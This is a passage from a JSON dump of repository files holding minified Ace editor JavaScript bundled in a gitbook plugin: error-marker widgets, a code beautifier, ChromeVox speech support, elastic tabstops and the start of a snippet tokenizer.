this.session._emit(\"changeFold\",{data:{start:{row:e.row}}}),this.$updateRows(),this.renderWidgets(null,n),this.onWidgetChanged(e),e},this.removeLineWidget=function(e){e._inDocument=!1,e.session=null,e.el&&e.el.parentNode&&e.el.parentNode.removeChild(e.el);if(e.editor&&e.editor.destroy)try{e.editor.destroy()}catch(t){}if(this.session.lineWidgets){var n=this.session.lineWidgets[e.row];if(n==e)this.session.lineWidgets[e.row]=e.$oldWidget,e.$oldWidget&&this.onWidgetChanged(e.$oldWidget);else while(n){if(n.$oldWidget==e){n.$oldWidget=e.$oldWidget;break}n=n.$oldWidget}}this.session._emit(\"changeFold\",{data:{start:{row:e.row}}}),this.$updateRows()},this.getWidgetsAtRow=function(e){var t=this.session.lineWidgets,n=t&&t[e],r=[];while(n)r.push(n),n=n.$oldWidget;return r},this.onWidgetChanged=function(e){this.session._changedWidgets.push(e),this.editor&&this.editor.renderer.updateFull()},this.measureWidgets=function(e,t){var n=this.session._changedWidgets,r=t.layerConfig;if(!n||!n.length)return;var i=Infinity;for(var s=0;s<n.length;s++){var o=n[s];if(!o||!o.el)continue;if(o.session!=this.session)continue;if(!o._inDocument){if(this.session.lineWidgets[o.row]!=o)continue;o._inDocument=!0,t.container.appendChild(o.el)}o.h=o.el.offsetHeight,o.fixedWidth||(o.w=o.el.offsetWidth,o.screenWidth=Math.ceil(o.w/r.characterWidth));var u=o.h/r.lineHeight;o.coverLine&&(u-=this.session.getRowLineCount(o.row),u<0&&(u=0)),o.rowCount!=u&&(o.rowCount=u,o.row<i&&(i=o.row))}i!=Infinity&&(this.session._emit(\"changeFold\",{data:{start:{row:i}}}),this.session.lineWidgetWidth=null),this.session._changedWidgets=[]},this.renderWidgets=function(e,t){var n=t.layerConfig,r=this.session.lineWidgets;if(!r)return;var i=Math.min(this.firstRow,n.firstRow),s=Math.max(this.lastRow,n.lastRow,r.length);while(i>0&&!r[i])i--;this.firstRow=n.firstRow,this.lastRow=n.lastRow,t.$cursorLayer.config=n;for(var o=i;o<=s;o++){var u=r[o];if(!u||!u.el)continue;if(u.hidden){u.el.style.top=-100-(u.pixelHeight||0)+\"px\";continue}u._inDocument||(u._inDocument=!0,t.container.appendChild(u.el));var a=t.$cursorLayer.getPixelPosition({row:o,column:0},!0).top;u.coverLine||(a+=n.lineHeight*this.session.getRowLineCount(u.row)),u.el.style.top=a-n.offset+\"px\";var f=u.coverGutter?0:t.gutterWidth;u.fixedWidth||(f-=t.scrollLeft),u.el.style.left=f+\"px\",u.fullWidth&&u.screenWidth&&(u.el.style.minWidth=n.width+2*n.padding+\"px\"),u.fixedWidth?u.el.style.right=t.scrollBar.getWidth()+\"px\":u.el.style.right=\"\"}}}).call(o.prototype),t.LineWidgets=o}),define(\"ace/ext/error_marker\",[\"require\",\"exports\",\"module\",\"ace/line_widgets\",\"ace/lib/dom\",\"ace/range\"],function(e,t,n){\"use strict\";function o(e,t,n){var r=0,i=e.length-1;while(r<=i){var s=r+i>>1,o=n(t,e[s]);if(o>0)r=s+1;else{if(!(o<0))return s;i=s-1}}return-(r+1)}function u(e,t,n){var r=e.getAnnotations().sort(s.comparePoints);if(!r.length)return;var i=o(r,{row:t,column:-1},s.comparePoints);i<0&&(i=-i-1),i>=r.length?i=n>0?0:r.length-1:i===0&&n<0&&(i=r.length-1);var u=r[i];if(!u||!n)return;if(u.row===t){do u=r[i+=n];while(u&&u.row===t);if(!u)return r.slice()}var a=[];t=u.row;do a[n<0?\"unshift\":\"push\"](u),u=r[i+=n];while(u&&u.row==t);return a.length&&a}var r=e(\"../line_widgets\").LineWidgets,i=e(\"../lib/dom\"),s=e(\"../range\").Range;t.showErrorMarker=function(e,t){var n=e.session;n.widgetManager||(n.widgetManager=new r(n),n.widgetManager.attach(e));var s=e.getCursorPosition(),o=s.row,a=n.widgetManager.getWidgetsAtRow(o).filter(function(e){return e.type==\"errorMarker\"})[0];a?a.destroy():o-=t;var f=u(n,o,t),l;if(f){var c=f[0];s.column=(c.pos&&typeof c.column!=\"number\"?c.pos.sc:c.column)||0,s.row=c.row,l=e.renderer.$gutterLayer.$annotations[s.row]}else{if(a)return;l={text:[\"Looks good!\"],className:\"ace_ok\"}}e.session.unfold(s.row),e.selection.moveToPosition(s);var h={row:s.row,fixedWidth:!0,coverGutter:!0,el:i.createElement(\"div\"),type:\"errorMarker\"},p=h.el.appendChild(i.createElement(\"div\")),d=h.el.appendChild(i.createElement(\"div\"));d.className=\"error_widget_arrow \"+l.className;var v=e.renderer.$cursorLayer.getPixelPosition(s).left;d.style.left=v+e.renderer.gutterWidth-5+\"px\",h.el.className=\"error_widget_wrapper\",p.className=\"error_widget \"+l.className,p.innerHTML=l.text.join(\"<br>\"),p.appendChild(i.createElement(\"div\"));var m=function(e,t,n){if(t===0&&(n===\"esc\"||n===\"return\"))return h.destroy(),{command:\"null\"}};h.destroy=function(){if(e.$mouseHandler.isMousePressed)return;e.keyBinding.removeKeyboardHandler(m),n.widgetManager.removeLineWidget(h),e.off(\"changeSelection\",h.destroy),e.off(\"changeSession\",h.destroy),e.off(\"mouseup\",h.destroy),e.off(\"change\",h.destroy)},e.keyBinding.addKeyboardHandler(m),e.on(\"changeSelection\",h.destroy),e.on(\"changeSession\",h.destroy),e.on(\"mouseup\",h.destroy),e.on(\"change\",h.destroy),e.session.widgetManager.addLineWidget(h),h.el.onmousedown=e.focus.bind(e),e.renderer.scrollCursorIntoView(null,.5,{bottom:h.el.offsetHeight})},i.importCssString(\"    .error_widget_wrapper {        background: inherit;        color: inherit;        border:none    }    .error_widget {        border-top: solid 2px;        border-bottom: solid 2px;        margin: 5px 0;        padding: 10px 40px;        white-space: pre-wrap;    }    .error_widget.ace_error, .error_widget_arrow.ace_error{        border-color: #ff5a5a    }    .error_widget.ace_warning, .error_widget_arrow.ace_warning{        border-color: #F1D817    }    .error_widget.ace_info, .error_widget_arrow.ace_info{        border-color: #5a5a5a    }    .error_widget.ace_ok, .error_widget_arrow.ace_ok{        border-color: #5aaa5a    }    .error_widget_arrow {        position: absolute;        border: solid 5px;        border-top-color: transparent!important;        border-right-color: transparent!important;        border-left-color: transparent!important;        top: -5px;    }\",\"\")}),define(\"ace/ace\",[\"require\",\"exports\",\"module\",\"ace/lib/fixoldbrowsers\",\"ace/lib/dom\",\"ace/lib/event\",\"ace/editor\",\"ace/edit_session\",\"ace/undomanager\",\"ace/virtual_renderer\",\"ace/worker/worker_client\",\"ace/keyboard/hash_handler\",\"ace/placeholder\",\"ace/multi_select\",\"ace/mode/folding/fold_mode\",\"ace/theme/textmate\",\"ace/ext/error_marker\",\"ace/config\"],function(e,t,n){\"use strict\";e(\"./lib/fixoldbrowsers\");var r=e(\"./lib/dom\"),i=e(\"./lib/event\"),s=e(\"./editor\").Editor,o=e(\"./edit_session\").EditSession,u=e(\"./undomanager\").UndoManager,a=e(\"./virtual_renderer\").VirtualRenderer;e(\"./worker/worker_client\"),e(\"./keyboard/hash_handler\"),e(\"./placeholder\"),e(\"./multi_select\"),e(\"./mode/folding/fold_mode\"),e(\"./theme/textmate\"),e(\"./ext/error_marker\"),t.config=e(\"./config\"),t.require=e,t.edit=function(e){if(typeof e==\"string\"){var n=e;e=document.getElementById(n);if(!e)throw new Error(\"ace.edit can't find div #\"+n)}if(e&&e.env&&e.env.editor instanceof s)return e.env.editor;var o=\"\";if(e&&/input|textarea/i.test(e.tagName)){var u=e;o=u.value,e=r.createElement(\"pre\"),u.parentNode.replaceChild(e,u)}else e&&(o=r.getInnerText(e),e.innerHTML=\"\");var f=t.createEditSession(o),l=new s(new a(e));l.setSession(f);var c={document:f,editor:l,onResize:l.resize.bind(l,null)};return u&&(c.textarea=u),i.addListener(window,\"resize\",c.onResize),l.on(\"destroy\",function(){i.removeListener(window,\"resize\",c.onResize),c.editor.container.env=null}),l.container.env=l.env=c,l},t.createEditSession=function(e,t){var n=new o(e,t);return n.setUndoManager(new u),n},t.EditSession=o,t.UndoManager=u,t.version=\"1.2.2\"});\n            (function() {\n                window.require([\"ace/ace\"], function(a) {\n                    a && a.config.init(true);\n                    if (!window.ace)\n                        window.ace = a;\n                    for (var key in a) if (a.hasOwnProperty(key))\n                        window.ace[key] = a[key];\n                });\n            })();\n        "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-beautify.js",
    "content": "define(\"ace/ext/beautify/php_rules\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"ace/token_iterator\").TokenIterator;t.newLines=[{type:\"support.php_tag\",value:\"<?php\"},{type:\"support.php_tag\",value:\"<?\"},{type:\"support.php_tag\",value:\"?>\"},{type:\"paren.lparen\",value:\"{\",indent:!0},{type:\"paren.rparen\",breakBefore:!0,value:\"}\",indent:!1},{type:\"paren.rparen\",breakBefore:!0,value:\"})\",indent:!1,dontBreak:!0},{type:\"comment\"},{type:\"text\",value:\";\"},{type:\"text\",value:\":\",context:\"php\"},{type:\"keyword\",value:\"case\",indent:!0,dontBreak:!0},{type:\"keyword\",value:\"default\",indent:!0,dontBreak:!0},{type:\"keyword\",value:\"break\",indent:!1,dontBreak:!0},{type:\"punctuation.doctype.end\",value:\">\"},{type:\"meta.tag.punctuation.end\",value:\">\"},{type:\"meta.tag.punctuation.begin\",value:\"<\",blockTag:!0,indent:!0,dontBreak:!0},{type:\"meta.tag.punctuation.begin\",value:\"</\",indent:!1,breakBefore:!0,dontBreak:!0},{type:\"punctuation.operator\",value:\";\"}],t.spaces=[{type:\"xml-pe\",prepend:!0},{type:\"entity.other.attribute-name\",prepend:!0},{type:\"storage.type\",value:\"var\",append:!0},{type:\"storage.type\",value:\"function\",append:!0},{type:\"keyword.operator\",value:\"=\"},{type:\"keyword\",value:\"as\",prepend:!0,append:!0},{type:\"keyword\",value:\"function\",append:!0},{type:\"support.function\",next:/[^\\(]/,append:!0},{type:\"keyword\",value:\"or\",append:!0,prepend:!0},{type:\"keyword\",value:\"and\",append:!0,prepend:!0},{type:\"keyword\",value:\"case\",append:!0},{type:\"keyword.operator\",value:\"||\",append:!0,prepend:!0},{type:\"keyword.operator\",value:\"&&\",append:!0,prepend:!0}],t.singleTags=[\"!doctype\",\"area\",\"base\",\"br\",\"hr\",\"input\",\"img\",\"link\",\"meta\"],t.transform=function(e,n,r){var i=e.getCurrentToken(),s=t.newLines,o=t.spaces,u=t.singleTags,a=\"\",f=0,l=!1,c,h,p={},d,v={},m=!1,g=\"\";while(i!==null){console.log(i);if(!i){i=e.stepForward();continue}i.type==\"support.php_tag\"&&i.value!=\"?>\"?r=\"php\":i.type==\"support.php_tag\"&&i.value==\"?>\"?r=\"html\":i.type==\"meta.tag.name.style\"&&r!=\"css\"?r=\"css\":i.type==\"meta.tag.name.style\"&&r==\"css\"?r=\"html\":i.type==\"meta.tag.name.script\"&&r!=\"js\"?r=\"js\":i.type==\"meta.tag.name.script\"&&r==\"js\"&&(r=\"html\"),v=e.stepForward(),v&&v.type.indexOf(\"meta.tag.name\")==0&&(d=v.value),p.type==\"support.php_tag\"&&p.value==\"<?=\"&&(l=!0),i.type==\"meta.tag.name\"&&(i.value=i.value.toLowerCase()),i.type==\"text\"&&(i.value=i.value.trim());if(!i.value){i=v;continue}g=i.value;for(var y in o)i.type==o[y].type&&(!o[y].value||i.value==o[y].value)&&v&&(!o[y].next||o[y].next.test(v.value))&&(o[y].prepend&&(g=\" \"+i.value),o[y].append&&(g+=\" \"));i.type.indexOf(\"meta.tag.name\")==0&&(c=i.value),m=!1;for(y in s)if(i.type==s[y].type&&(!s[y].value||i.value==s[y].value)&&(!s[y].blockTag||u.indexOf(d)===-1)&&(!s[y].context||s[y].context===r)){s[y].indent===!1&&f--;if(s[y].breakBefore&&(!s[y].prev||s[y].prev.test(p.value))){a+=\"\\n\",m=!0;for(y=0;y<f;y++)a+=\"\t\"}break}if(l===!1)for(y in s)if(p.type==s[y].type&&(!s[y].value||p.value==s[y].value)&&(!s[y].blockTag||u.indexOf(c)===-1)&&(!s[y].context||s[y].context===r)){s[y].indent===!0&&f++;if(!s[y].dontBreak&&!m){a+=\"\\n\";for(y=0;y<f;y++)a+=\"\t\"}break}a+=g,p.type==\"support.php_tag\"&&p.value==\"?>\"&&(l=!1),h=c,p=i,i=v;if(i===null)break}return a}}),define(\"ace/ext/beautify\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\",\"ace/ext/beautify/php_rules\"],function(e,t,n){\"use strict\";var r=e(\"ace/token_iterator\").TokenIterator,i=e(\"./beautify/php_rules\").transform;t.beautify=function(e){var t=new r(e,0,0),n=t.getCurrentToken(),s=e.$modeId.split(\"/\").pop(),o=i(t,s);e.doc.setValue(o)},t.commands=[{name:\"beautify\",exec:function(e){t.beautify(e.session)},bindKey:\"Ctrl-Shift-B\"}]});\n                (function() {\n                    window.require([\"ace/ext/beautify\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-chromevox.js",
    "content": "define(\"ace/ext/chromevox\",[\"require\",\"exports\",\"module\",\"ace/editor\",\"ace/config\"],function(e,t,n){function gt(){return typeof cvox!=\"undefined\"&&cvox&&cvox.Api}function wt(e){if(gt())mt(e);else{yt++;if(yt>=bt)return;window.setTimeout(wt,500,e)}}var r={};r.SpeechProperty,r.Cursor,r.Token,r.Annotation;var i={rate:.8,pitch:.4,volume:.9},s={rate:1,pitch:.5,volume:.9},o={rate:.8,pitch:.8,volume:.9},u={rate:.8,pitch:.3,volume:.9},a={rate:.8,pitch:.7,volume:.9},f={rate:.8,pitch:.8,volume:.9},l={punctuationEcho:\"none\",relativePitch:-0.6},c=\"ALERT_NONMODAL\",h=\"ALERT_MODAL\",p=\"INVALID_KEYPRESS\",d=\"insertMode\",v=\"start\",m=[{substr:\";\",newSubstr:\" semicolon \"},{substr:\":\",newSubstr:\" colon \"}],g={SPEAK_ANNOT:\"annots\",SPEAK_ALL_ANNOTS:\"all_annots\",TOGGLE_LOCATION:\"toggle_location\",SPEAK_MODE:\"mode\",SPEAK_ROW_COL:\"row_col\",TOGGLE_DISPLACEMENT:\"toggle_displacement\",FOCUS_TEXT:\"focus_text\"},y=\"CONTROL + SHIFT \";r.editor=null;var b=null,w={},E=!1,S=!1,x=!1,T=null,N={},C={},k=function(e){return y+String.fromCharCode(e)},L=function(){var e=r.editor.keyBinding.getKeyboardHandler();return e.$id===\"ace/keyboard/vim\"},A=function(e){return r.editor.getSession().getTokenAt(e.row,e.column+1)},O=function(e){return r.editor.getSession().getLine(e.row)},M=function(e){w[e.row]&&cvox.Api.playEarcon(c),E?(cvox.Api.stop(),W(e),R(A(e)),I(e.row,1)):I(e.row,0)},_=function(e){var t=O(e),n=t.substr(e.column-1);e.column===0&&(n=\" \"+t);var r=/^\\W(\\w+)/,i=r.exec(n);return i!==null},D={constant:{prop:i},entity:{prop:o},keyword:{prop:u},storage:{prop:a},variable:{prop:f},meta:{prop:s,replace:[{substr:\"</\",newSubstr:\" closing tag \"},{substr:\"/>\",newSubstr:\" close tag \"},{substr:\"<\",newSubstr:\" tag start \"},{substr:\">\",newSubstr:\" tag end \"}]}},P={prop:P},H=function(e,t){var n=e;for(var r=0;r<t.length;r++){var i=t[r],s=new RegExp(i.substr,\"g\");n=n.replace(s,i.newSubstr)}return n},B=function(e,t,n){var r={};r.value=\"\",r.type=e[t].type;for(var i=t;i<n;i++)r.value+=e[i].value;return r},j=function(e){if(e.length<=1)return e;var t=[],n=0;for(var r=1;r<e.length;r++){var i=e[n],s=e[r];U(i)!==U(s)&&(t.push(B(e,n,r)),n=r)}return t.push(B(e,n,e.length)),t},F=function(e){var t=r.editor.getSession().getLine(e),n=/^\\s*$/;return n.exec(t)!==null},I=function(e,t){var n=r.editor.getSession().getTokens(e);if(n.length===0||F(e)){cvox.Api.playEarcon(\"EDITABLE_TEXT\");return}n=j(n);var i=n[0];n=n.filter(function(e){return e!==i}),z(i,t),n.forEach(R)},q=function(e){z(e,0)},R=function(e){z(e,1)},U=function(e){if(!e||!e.type)return;var t=e.type.split(\".\");if(t.length===0)return;var n=t[0],r=D[n];return r?r:P},z=function(e,t){var n=U(e),r=H(e.value,m);n.replace&&(r=H(r,n.replace)),cvox.Api.speak(r,t,n.prop)},W=function(e){var t=O(e);cvox.Api.speak(t[e.column],1)},X=function(e,t){var n=O(t),r=n.substring(e.column,t.column);r=r.replace(/ /g,\" space \"),cvox.Api.speak(r)},V=function(e,t){if(Math.abs(e.column-t.column)!==1){var n=O(t).length;if(t.column===0||t.column===n){I(t.row,0);return}if(_(t)){cvox.Api.stop(),R(A(t));return}}W(t)},$=function(e,t){r.editor.selection.isEmpty()?S?X(e,t):V(e,t):(X(e,t),cvox.Api.speak(\"selected\",1))},J=function(e){if(x){x=!1;return}var t=r.editor.selection.getCursor();t.row!==b.row?M(t):$(b,t),b=t},K=function(e){r.editor.selection.isEmpty()&&cvox.Api.speak(\"unselected\")},Q=function(e){switch(data.action){case\"remove\":cvox.Api.speak(data.text,0,l),x=!0;break;case\"insert\":cvox.Api.speak(data.text,0),x=!0}},G=function(e){var t=e.row,n=e.column;return!w[t]||!w[t][n]},Y=function(e){w={};for(var t=0;t<e.length;t++){var n=e[t],r=n.row,i=n.column;w[r]||(w[r]={}),w[r][i]=n}},Z=function(e){var t=r.editor.getSession().getAnnotations(),n=t.filter(G);n.length>0&&cvox.Api.playEarcon(c),Y(t)},et=function(e){var t=e.type+\" \"+e.text+\" on \"+nt(e.row,e.column);t=t.replace(\";\",\"semicolon\"),cvox.Api.speak(t,1)},tt=function(e){var t=w[e];for(var n in t)et(t[n])},nt=function(e,t){return\"row \"+(e+1)+\" column \"+(t+1)},rt=function(){cvox.Api.speak(nt(b.row,b.column))},it=function(){for(var e in w)tt(e)},st=function(){if(!L())return;switch(r.editor.keyBinding.$data.state){case d:cvox.Api.speak(\"Insert mode\");break;case v:cvox.Api.speak(\"Command mode\")}},ot=function(){E=!E,E?cvox.Api.speak(\"Speak location on row change enabled.\"):cvox.Api.speak(\"Speak location on row change disabled.\")},ut=function(){S=!S,S?cvox.Api.speak(\"Speak displacement on column changes.\"):cvox.Api.speak(\"Speak current character or word on column changes.\")},at=function(e){if(e.ctrlKey&&e.shiftKey){var t=N[e.keyCode];t&&t.func()}},ft=function(e,t){if(!L())return;var n=t.keyBinding.$data.state;if(n===T)return;switch(n){case d:cvox.Api.playEarcon(h),cvox.Api.setKeyEcho(!0);break;case v:cvox.Api.playEarcon(h),cvox.Api.setKeyEcho(!1)}T=n},lt=function(e){var t=e.detail.customCommand,n=C[t];n&&(n.func(),r.editor.focus())},ct=function(){var e=dt.map(function(e){return{desc:e.desc+k(e.keyCode),cmd:e.cmd}}),t=document.querySelector(\"body\");t.setAttribute(\"contextMenuActions\",JSON.stringify(e)),t.addEventListener(\"ATCustomEvent\",lt,!0)},ht=function(e){e.match?I(b.row,0):cvox.Api.playEarcon(p)},pt=function(){r.editor.focus()},dt=[{keyCode:49,func:function(){tt(b.row)},cmd:g.SPEAK_ANNOT,desc:\"Speak annotations on line\"},{keyCode:50,func:it,cmd:g.SPEAK_ALL_ANNOTS,desc:\"Speak all annotations\"},{keyCode:51,func:st,cmd:g.SPEAK_MODE,desc:\"Speak Vim mode\"},{keyCode:52,func:ot,cmd:g.TOGGLE_LOCATION,desc:\"Toggle speak row location\"},{keyCode:53,func:rt,cmd:g.SPEAK_ROW_COL,desc:\"Speak row and column\"},{keyCode:54,func:ut,cmd:g.TOGGLE_DISPLACEMENT,desc:\"Toggle speak displacement\"},{keyCode:55,func:pt,cmd:g.FOCUS_TEXT,desc:\"Focus text\"}],vt=function(){r.editor=editor,editor.getSession().selection.on(\"changeCursor\",J),editor.getSession().selection.on(\"changeSelection\",K),editor.getSession().on(\"change\",Q),editor.getSession().on(\"changeAnnotation\",Z),editor.on(\"changeStatus\",ft),editor.on(\"findSearchBox\",ht),editor.container.addEventListener(\"keydown\",at),b=editor.selection.getCursor()},mt=function(e){vt(),dt.forEach(function(e){N[e.keyCode]=e,C[e.cmd]=e}),e.on(\"focus\",vt),L()&&cvox.Api.setKeyEcho(!1),ct()},yt=0,bt=15,Et=e(\"../editor\").Editor;e(\"../config\").defineOptions(Et.prototype,\"editor\",{enableChromevoxEnhancements:{set:function(e){e&&wt(this)},value:!0}})});\n                (function() {\n                    window.require([\"ace/ext/chromevox\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-elastic_tabstops_lite.js",
    "content": "define(\"ace/ext/elastic_tabstops_lite\",[\"require\",\"exports\",\"module\",\"ace/editor\",\"ace/config\"],function(e,t,n){\"use strict\";var r=function(e){this.$editor=e;var t=this,n=[],r=!1;this.onAfterExec=function(){r=!1,t.processRows(n),n=[]},this.onExec=function(){r=!0},this.onChange=function(e){r&&(n.indexOf(e.start.row)==-1&&n.push(e.start.row),e.end.row!=e.start.row&&n.push(e.end.row))}};(function(){this.processRows=function(e){this.$inChange=!0;var t=[];for(var n=0,r=e.length;n<r;n++){var i=e[n];if(t.indexOf(i)>-1)continue;var s=this.$findCellWidthsForBlock(i),o=this.$setBlockCellWidthsToMax(s.cellWidths),u=s.firstRow;for(var a=0,f=o.length;a<f;a++){var l=o[a];t.push(u),this.$adjustRow(u,l),u++}}this.$inChange=!1},this.$findCellWidthsForBlock=function(e){var t=[],n,r=e;while(r>=0){n=this.$cellWidthsForRow(r);if(n.length==0)break;t.unshift(n),r--}var i=r+1;r=e;var s=this.$editor.session.getLength();while(r<s-1){r++,n=this.$cellWidthsForRow(r);if(n.length==0)break;t.push(n)}return{cellWidths:t,firstRow:i}},this.$cellWidthsForRow=function(e){var t=this.$selectionColumnsForRow(e),n=[-1].concat(this.$tabsForRow(e)),r=n.map(function(e){return 0}).slice(1),i=this.$editor.session.getLine(e);for(var s=0,o=n.length-1;s<o;s++){var u=n[s]+1,a=n[s+1],f=this.$rightmostSelectionInCell(t,a),l=i.substring(u,a);r[s]=Math.max(l.replace(/\\s+$/g,\"\").length,f-u)}return r},this.$selectionColumnsForRow=function(e){var t=[],n=this.$editor.getCursorPosition();return this.$editor.session.getSelection().isEmpty()&&e==n.row&&t.push(n.column),t},this.$setBlockCellWidthsToMax=function(e){var t=!0,n,r,i,s=this.$izip_longest(e);for(var o=0,u=s.length;o<u;o++){var a=s[o];if(!a.push){console.error(a);continue}a.push(NaN);for(var f=0,l=a.length;f<l;f++){var c=a[f];t&&(n=f,i=0,t=!1);if(isNaN(c)){r=f;for(var h=n;h<r;h++)e[h][o]=i;t=!0}i=Math.max(i,c)}}return e},this.$rightmostSelectionInCell=function(e,t){var n=0;if(e.length){var r=[];for(var i=0,s=e.length;i<s;i++)e[i]<=t?r.push(i):r.push(0);n=Math.max.apply(Math,r)}return n},this.$tabsForRow=function(e){var t=[],n=this.$editor.session.getLine(e),r=/\\t/g,i;while((i=r.exec(n))!=null)t.push(i.index);return t},this.$adjustRow=function(e,t){var n=this.$tabsForRow(e);if(n.length==0)return;var r=0,i=-1,s=this.$izip(t,n);for(var o=0,u=s.length;o<u;o++){var a=s[o][0],f=s[o][1];i+=1+a,f+=r;var l=i-f;if(l==0)continue;var c=this.$editor.session.getLine(e).substr(0,f),h=c.replace(/\\s*$/g,\"\"),p=c.length-h.length;l>0&&(this.$editor.session.getDocument().insertInLine({row:e,column:f+1},Array(l+1).join(\" \")+\"\t\"),this.$editor.session.getDocument().removeInLine(e,f,f+1),r+=l),l<0&&p>=-l&&(this.$editor.session.getDocument().removeInLine(e,f+l,f),r+=l)}},this.$izip_longest=function(e){if(!e[0])return[];var t=e[0].length,n=e.length;for(var r=1;r<n;r++){var i=e[r].length;i>t&&(t=i)}var s=[];for(var o=0;o<t;o++){var u=[];for(var r=0;r<n;r++)e[r][o]===\"\"?u.push(NaN):u.push(e[r][o]);s.push(u)}return s},this.$izip=function(e,t){var n=e.length>=t.length?t.length:e.length,r=[];for(var i=0;i<n;i++){var s=[e[i],t[i]];r.push(s)}return r}}).call(r.prototype),t.ElasticTabstopsLite=r;var i=e(\"../editor\").Editor;e(\"../config\").defineOptions(i.prototype,\"editor\",{useElasticTabstops:{set:function(e){e?(this.elasticTabstops||(this.elasticTabstops=new r(this)),this.commands.on(\"afterExec\",this.elasticTabstops.onAfterExec),this.commands.on(\"exec\",this.elasticTabstops.onExec),this.on(\"change\",this.elasticTabstops.onChange)):this.elasticTabstops&&(this.commands.removeListener(\"afterExec\",this.elasticTabstops.onAfterExec),this.commands.removeListener(\"exec\",this.elasticTabstops.onExec),this.removeListener(\"change\",this.elasticTabstops.onChange))}}})});\n                (function() {\n                    window.require([\"ace/ext/elastic_tabstops_lite\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-emmet.js",
    "content": "define(\"ace/snippets\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\",\"ace/lib/lang\",\"ace/range\",\"ace/anchor\",\"ace/keyboard/hash_handler\",\"ace/tokenizer\",\"ace/lib/dom\",\"ace/editor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=e(\"./lib/lang\"),o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=e(\"./keyboard/hash_handler\").HashHandler,f=e(\"./tokenizer\").Tokenizer,l=o.comparePoints,c=function(){this.snippetMap={},this.snippetNameMap={}};(function(){r.implement(this,i),this.getTokenizer=function(){function e(e,t,n){return e=e.substr(1),/^\\d+$/.test(e)&&!n.inFormatString?[{tabstopId:parseInt(e,10)}]:[{text:e}]}function t(e){return\"(?:[^\\\\\\\\\"+e+\"]|\\\\\\\\.)\"}return c.$tokenizer=new f({start:[{regex:/:/,onMatch:function(e,t,n){return n.length&&n[0].expectIf?(n[0].expectIf=!1,n[0].elseBranch=n[0],[n[0]]):\":\"}},{regex:/\\\\./,onMatch:function(e,t,n){var r=e[1];return r==\"}\"&&n.length?e=r:\"`$\\\\\".indexOf(r)!=-1?e=r:n.inFormatString&&(r==\"n\"?e=\"\\n\":r==\"t\"?e=\"\\n\":\"ulULE\".indexOf(r)!=-1&&(e={changeCase:r,local:r>\"a\"})),[e]}},{regex:/}/,onMatch:function(e,t,n){return[n.length?n.shift():e]}},{regex:/\\$(?:\\d+|\\w+)/,onMatch:e},{regex:/\\$\\{[\\dA-Z_a-z]+/,onMatch:function(t,n,r){var i=e(t.substr(1),n,r);return r.unshift(i[0]),i},next:\"snippetVar\"},{regex:/\\n/,token:\"newline\",merge:!1}],snippetVar:[{regex:\"\\\\|\"+t(\"\\\\|\")+\"*\\\\|\",onMatch:function(e,t,n){n[0].choices=e.slice(1,-1).split(\",\")},next:\"start\"},{regex:\"/(\"+t(\"/\")+\"+)/(?:(\"+t(\"/\")+\"*)/)(\\\\w*):?\",onMatch:function(e,t,n){var r=n[0];return r.fmtString=e,e=this.splitRegex.exec(e),r.guard=e[1],r.fmt=e[2],r.flag=e[3],\"\"},next:\"start\"},{regex:\"`\"+t(\"`\")+\"*`\",onMatch:function(e,t,n){return n[0].code=e.splice(1,-1),\"\"},next:\"start\"},{regex:\"\\\\?\",onMatch:function(e,t,n){n[0]&&(n[0].expectIf=!0)},next:\"start\"},{regex:\"([^:}\\\\\\\\]|\\\\\\\\.)*:?\",token:\"\",next:\"start\"}],formatString:[{regex:\"/(\"+t(\"/\")+\"+)/\",token:\"regex\"},{regex:\"\",onMatch:function(e,t,n){n.inFormatString=!0},next:\"start\"}]}),c.prototype.getTokenizer=function(){return c.$tokenizer},c.$tokenizer},this.tokenizeTmSnippet=function(e,t){return this.getTokenizer().getLineTokens(e,t).tokens.map(function(e){return e.value||e})},this.$getDefaultValue=function(e,t){if(/^[A-Z]\\d+$/.test(t)){var n=t.substr(1);return(this.variables[t[0]+\"__\"]||{})[n]}if(/^\\d+$/.test(t))return(this.variables.__||{})[t];t=t.replace(/^TM_/,\"\");if(!e)return;var r=e.session;switch(t){case\"CURRENT_WORD\":var i=r.getWordRange();case\"SELECTION\":case\"SELECTED_TEXT\":return r.getTextRange(i);case\"CURRENT_LINE\":return r.getLine(e.getCursorPosition().row);case\"PREV_LINE\":return r.getLine(e.getCursorPosition().row-1);case\"LINE_INDEX\":return e.getCursorPosition().column;case\"LINE_NUMBER\":return e.getCursorPosition().row+1;case\"SOFT_TABS\":return r.getUseSoftTabs()?\"YES\":\"NO\";case\"TAB_SIZE\":return r.getTabSize();case\"FILENAME\":case\"FILEPATH\":return\"\";case\"FULLNAME\":return\"Ace\"}},this.variables={},this.getVariableValue=function(e,t){return this.variables.hasOwnProperty(t)?this.variables[t](e,t)||\"\":this.$getDefaultValue(e,t)||\"\"},this.tmStrFormat=function(e,t,n){var r=t.flag||\"\",i=t.guard;i=new RegExp(i,r.replace(/[^gi]/,\"\"));var s=this.tokenizeTmSnippet(t.fmt,\"formatString\"),o=this,u=e.replace(i,function(){o.variables.__=arguments;var e=o.resolveVariables(s,n),t=\"E\";for(var r=0;r<e.length;r++){var i=e[r];if(typeof i==\"object\"){e[r]=\"\";if(i.changeCase&&i.local){var u=e[r+1];u&&typeof u==\"string\"&&(i.changeCase==\"u\"?e[r]=u[0].toUpperCase():e[r]=u[0].toLowerCase(),e[r+1]=u.substr(1))}else i.changeCase&&(t=i.changeCase)}else t==\"U\"?e[r]=i.toUpperCase():t==\"L\"&&(e[r]=i.toLowerCase())}return e.join(\"\")});return this.variables.__=null,u},this.resolveVariables=function(e,t){function o(t){var n=e.indexOf(t,r+1);n!=-1&&(r=n)}var n=[];for(var r=0;r<e.length;r++){var i=e[r];if(typeof i==\"string\")n.push(i);else{if(typeof 